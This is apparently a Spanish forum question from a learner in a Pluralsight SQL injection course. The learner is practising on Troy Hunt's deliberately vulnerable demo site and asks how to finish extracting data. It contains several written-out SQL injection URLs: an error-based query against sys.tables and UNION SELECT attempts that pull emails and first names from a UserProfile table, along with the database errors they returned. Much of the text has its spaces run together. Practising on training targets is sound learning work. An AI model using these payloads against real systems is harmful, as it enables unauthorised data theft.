Estoy siguiendo el tutorial de inyección de Pluralsight SQL. El instructor no repasó realmente la extracción de datos.
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'AND 1=(SELECT TOP 1 name from (SELECT top 1 name from sys.tables order by name) t order by name desc)--
Intentéejecutarinyeccionescomo:
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'unionselectEmailFROMUserProfile--http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'unionselecttop1EmailFROMUserProfile--
Reciboesteerror:
TodaslasconsultascombinadasconunoperadorUNION,INTERSECTOoEXCEPTOdebentenerunnúmeroigualdeexpresionesensuslistasdeobjetivos.
Asíquepensé,oh,escorrecto,lascolumnasdebencoincidirconlaconsultaCylinders=V12.Creoqueesoseríaunoodos.Asíquecambiémiconsultaa:
http://hackyourselffirst.troyhunt.com/CarsByCylinders?Cylinders=V12'UNIONSELECTEmail,FirstNameFROMUserProfile;
Reciboesteerror:
Nosepuederesolverelconflictodeintercalaciónentre"Latin1_General_CI_AS" y "SQL_Latin1_General_CP1_CI_AS" en la operación UNION.
¿Cómo hago para extraer datos cuando tengo información de tablas y columnas?